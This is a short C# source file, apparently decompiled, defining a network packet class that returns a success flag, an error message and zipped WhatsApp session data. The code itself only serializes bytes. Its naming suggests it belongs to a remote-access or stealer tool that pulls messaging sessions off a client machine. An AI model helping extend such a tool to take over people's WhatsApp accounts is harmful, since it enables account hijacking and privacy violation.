using System.IO;

namespace Crysome.Common.Network.Packets.Client;

public class WhatsAppSessionResponsePacket : IPacket
{
	public bool Success { get; set; }

	public string ErrorMessage { get; set; }

	public byte[] ZipData { get; set; }

	public WhatsAppSessionResponsePacket()
	{
	}

	public WhatsAppSessionResponsePacket(bool success, string errorMessage, byte[] zipData)
	{
		Success = success;
		ErrorMessage = errorMessage ?? "";
		ZipData = zipData;
	}

	public void Write(BinaryWriter w)
	{
		w.Write(Success);
		w.Write(ErrorMessage ?? "");
		int num = ((ZipData != null) ? ZipData.Length : 0);
		w.Write(num);
		if (num > 0)
		{
			w.Write(ZipData);
		}
	}

	public void Read(BinaryReader r)
	{
		Success = r.ReadBoolean();
		ErrorMessage = r.ReadString();
		int num = r.ReadInt32();
		ZipData = ((num > 0) ? r.ReadBytes(num) : new byte[0]);
	}
}
